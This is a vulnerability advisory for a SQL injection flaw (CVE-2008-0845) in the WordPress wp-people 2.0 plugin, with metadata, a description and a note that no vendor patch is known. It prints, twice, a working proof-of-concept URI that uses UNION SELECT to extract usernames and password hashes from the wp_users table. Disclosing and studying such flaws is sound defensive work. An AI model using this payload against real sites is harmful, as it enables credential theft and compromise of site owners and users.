WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
BID:27858
Info
WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
| Bugtraq ID: | 27858 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0845 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 18 2008 12:00AM |
| Updated: | May 07 2015 05:32PM |
| Credit: | S@BUN discovered this vulnerability. |
| Vulnerable: |
Dean Logan wp-people 2.0 |
| Not Vulnerable: | |
Discussion
WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
The WordPress 'wp-people' plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The WordPress 'wp-people' plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following proof-of-concept URI is available:
http://www.example.com/wp-content/plugins/wp-people/wp-people-popup.php?person=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cuser_pass%2Cuser_login%2C3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users
An attacker can exploit this issue via a browser.
The following proof-of-concept URI is available:
http://www.example.com/wp-content/plugins/wp-people/wp-people-popup.php?person=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cuser_pass%2Cuser_login%2C3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users
Solution / Fix
WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WordPress wp-people Plugin 'wp-people-popup.php' SQL Injection Vulnerability
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